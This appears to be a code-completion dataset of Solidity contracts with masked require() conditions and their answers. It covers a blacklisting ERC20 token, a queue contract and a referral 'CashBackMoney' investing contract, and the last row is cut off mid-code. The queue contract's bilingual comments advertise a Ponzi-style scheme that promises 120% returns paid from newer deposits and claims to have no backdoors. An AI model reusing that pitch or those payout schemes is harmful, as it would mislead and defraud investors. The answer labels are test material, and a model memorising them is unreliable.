comment
stringlengths
1
211
input
stringlengths
155
20k
label
stringlengths
4
1k
original_idx
int64
203
514k
predicate
stringlengths
1
1k
null
pragma solidity ^0.4.25; /** EN: Web: http://www.queuesmart.today Telegram: https://t.me/queuesmart Queue contract: returns 120% of each investment! Automatic payouts! No bugs, no backdoors, NO OWNER - fully automatic! Made and checked by professionals! 1. Send any sum to smart contract address - sum from 0.05 ETH - min 350 000 gas limit - you are added to a queue 2. Wait a little bit 3. ... 4. PROFIT! You have got 120% How is that? 1. The first investor in the queue (you will become the first in some time) receives next investments until it become 120% of his initial investment. 2. You will receive payments in several parts or all at once 3. Once you receive 120% of your initial investment you are removed from the queue. 4. The balance of this contract should normally be 0 because all the money are immediately go to payouts So the last pays to the first (or to several first ones if the deposit big enough) and the investors paid 105-130% are removed from the queue new investor --| brand new investor --| investor5 | new investor | investor4 | =======> investor5 | investor3 | investor4 | (part. paid) investor2 <| investor3 | (fully paid) investor1 <-| investor2 <----| (pay until 120%) ==> Limits: <== Multiplier: 120% Minimum deposit: 0.05ETH Maximum deposit: 5ETH */ /** RU: Web: http://www.queuesmart.today Telegram: https://t.me/queuesmarten Контракт Умная Очередь: возвращает 120% от вашего депозита! Автоматические выплаты! Без ошибок, дыр, автоматический - для выплат НЕ НУЖНА администрация! Создан и проверен профессионалами! 1. Пошлите любую ненулевую сумму на адрес контракта - сумма от 0.05 ETH - gas limit минимум 350 000 - вы встанете в очередь 2. Немного подождите 3. ... 4. PROFIT! Вам пришло 120% от вашего депозита. Как это возможно? 1. Первый инвестор в очереди (вы станете первым очень скоро) получает выплаты от новых инвесторов до тех пор, пока не получит 120% от своего депозита 2. Выплаты могут приходить несколькими частями или все сразу 3. Как только вы получаете 120% от вашего депозита, вы удаляетесь из очереди 4. Баланс этого контракта должен обычно быть в районе 0, потому что все поступления сразу же направляются на выплаты Таким образом, последние платят первым, и инвесторы, достигшие выплат 120% от депозита, удаляются из очереди, уступая место остальным новый инвестор --| совсем новый инвестор --| инвестор5 | новый инвестор | инвестор4 | =======> инвестор5 | инвестор3 | инвестор4 | (част. выплата) инвестор2 <| инвестор3 | (полная выплата) инвестор1 <-| инвестор2 <----| (доплата до 120%) ==> Лимиты: <== Профит: 120% Минимальный вклад: 0.05 ETH Максимальный вклад: 5 ETH */ contract Queue { //Address for promo expences address constant private PROMO1 = 0x0569E1777f2a7247D27375DB1c6c2AF9CE9a9C15; address constant private PROMO2 = 0xF892380E9880Ad0843bB9600D060BA744365EaDf; address constant private PROMO3 = 0x35aAF2c74F173173d28d1A7ce9d255f639ac1625; address constant private PRIZE = 0xa93E50526B63760ccB5fAD6F5107FA70d36ABC8b; //Percent for promo expences uint constant public PROMO_PERCENT = 2; //Bonus prize uint constant public BONUS_PERCENT = 3; //The deposit structure holds all the info about the deposit made struct Deposit { address depositor; // The depositor address uint deposit; // The deposit amount uint payout; // Amount already paid } Deposit[] public queue; // The queue mapping (address => uint) public depositNumber; // investor deposit index uint public currentReceiverIndex; // The index of the depositor in the queue uint public totalInvested; // Total invested amount //This function receives all the deposits //stores them and make immediate payouts function () public payable { require(block.number >= 6649255); if(msg.value > 0){ require(<FILL_ME>) // We need gas to process queue require(msg.value >= 0.05 ether && msg.value <= 5 ether); // Too small and too big deposits are not accepted // Add the investor into the queue queue.push( Deposit(msg.sender, msg.value, 0) ); depositNumber[msg.sender] = queue.length; totalInvested += msg.value; //Send some promo to enable queue contracts to leave long-long time uint promo1 = msg.value*PROMO_PERCENT/100; PROMO1.send(promo1); uint promo2 = msg.value*PROMO_PERCENT/100; PROMO2.send(promo2); uint promo3 = msg.value*PROMO_PERCENT/100; PROMO3.send(promo3); uint prize = msg.value*BONUS_PERCENT/100; PRIZE.send(prize); // Pay to first investors in line pay(); } } // Used to pay to current investors // Each new transaction processes 1 - 4+ investors in the head of queue // depending on balance and gas left function pay() internal { } //Returns your position in queue function getDepositsCount(address depositor) public view returns (uint) { } // Get current queue size function getQueueLength() public view returns (uint) { } }
gasleft()>=250000
379,205
gasleft()>=250000
null
pragma solidity ^0.5.0; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { } } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint256 value) public returns (bool); function transferFromByLegacy(address sender, address from, address spender, uint256 value) public returns (bool); function approveByLegacy(address from, address spender, uint256 value) public returns (bool); } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external view returns (bool) { } function getOwner() external view returns (address) { } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { } function removeBlackList (address _clearedUser) public onlyOwner { } function destroyBlackFunds (address _blackListedUser) public onlyOwner { } event DestroyedBlackFunds(address _blackListedUser, uint256 _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { } } contract EllafyToken is Pausable, StandardToken, BlackList { string public name = "Ellafy"; string public symbol = "ELLA"; uint8 public decimals = 18; uint256 public init_Supply = 4 * (10 ** 9) * (10 ** uint256(decimals)); address public upgradedAddress; bool public deprecated; constructor() public { } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(!isBlackListed[msg.sender]); require(<FILL_ME>) if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint256 _value) public returns (bool) { } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public view returns (uint256) { } // Forward ERC20 methods to upgraded contract if this one is deprecated function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { } // Forward ERC20 methods to upgraded contract if this one is deprecated function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { } // Called when contract is deprecated event Deprecate(address newAddress); }
!isBlackListed[_to]
379,254
!isBlackListed[_to]
null
pragma solidity ^0.5.0; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { } } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint256 value) public returns (bool); function transferFromByLegacy(address sender, address from, address spender, uint256 value) public returns (bool); function approveByLegacy(address from, address spender, uint256 value) public returns (bool); } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external view returns (bool) { } function getOwner() external view returns (address) { } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { } function removeBlackList (address _clearedUser) public onlyOwner { } function destroyBlackFunds (address _blackListedUser) public onlyOwner { } event DestroyedBlackFunds(address _blackListedUser, uint256 _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { } } contract EllafyToken is Pausable, StandardToken, BlackList { string public name = "Ellafy"; string public symbol = "ELLA"; uint8 public decimals = 18; uint256 public init_Supply = 4 * (10 ** 9) * (10 ** uint256(decimals)); address public upgradedAddress; bool public deprecated; constructor() public { } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint256 _value) public returns (bool) { require(!isBlackListed[msg.sender]); require(<FILL_ME>) if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public view returns (uint256) { } // Forward ERC20 methods to upgraded contract if this one is deprecated function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { } // Forward ERC20 methods to upgraded contract if this one is deprecated function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { } // Called when contract is deprecated event Deprecate(address newAddress); }
!isBlackListed[_spender]
379,254
!isBlackListed[_spender]
"CashBackMoney: this function can only be used in the stage mode"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { require(<FILL_ME>) _; } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { } /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 _amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { } }
!production,"CashBackMoney: this function can only be used in the stage mode"
379,271
!production
"Pay: you cannot be a referral to yourself"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { } /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { // If a RefererID is not yet assigned if (RefererID[msg.sender] == 0) { CreateRefererID(msg.sender); } require(<FILL_ME>) require(_level > 0 && _level < 4, "Pay: level can only be 1,2 or 3"); require( !Balances[msg.sender][_level][msg.value], "Pay: amount already paid" ); // If owner invest this amount for the first time if (!OwnerAmountStatus[msg.sender][msg.value]) { OwnerAmountStatus[msg.sender][msg.value] = true; } // If a referrer is not yet installed if ((Referer[msg.sender] == 0) && (_refererID != 0)) { Referer[msg.sender] = _refererID; } // Add to Total & AutoClick if ( (Referer[msg.sender] != 0) && (OwnerAmountStatus[RefererAddr[Referer[msg.sender]]][msg.value]) ) { RefTotalClicks[RefererAddr[Referer[msg.sender]]] += 1; RefTotalIncome[RefererAddr[Referer[msg.sender]]] += msg.value; RefClickCount[RefererAddr[Referer[msg.sender]]][msg.value] += 1; emit ChangeClickRefefalNumbers( RefererAddr[Referer[msg.sender]], msg.value, RefClickCount[RefererAddr[Referer[msg.sender]]][msg.value] ); uint256 Current = GetPeriod(now); uint256 Start = Current - 30; OwnerAutoClickCount[msg.sender][msg.value][Current] += 1; uint256 CountOp = 0; for (uint256 k = Start; k < Current; k++) { CountOp += OwnerAutoClickCount[msg.sender][msg.value][k]; } if (CountOp >= 30) { RefAutoClickCount[RefererAddr[Referer[msg.sender]]][msg .value][Current] += 1; } } uint256 refs; uint256 wd_time; if (_level == 1) { if (RefClickCount[msg.sender][msg.value] > 21) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value]; } } if (_level == 2) { require( RefClickCount[msg.sender][msg.value] >= 21, "Pay: not enough referrals" ); if (RefClickCount[msg.sender][msg.value] > 42) { refs = 21; } else { refs = RefClickCount[msg.sender][msg.value].sub(21); } } if (_level == 3) { require( RefClickCount[msg.sender][msg.value] >= 42, "Pay: not enough referrals" ); if 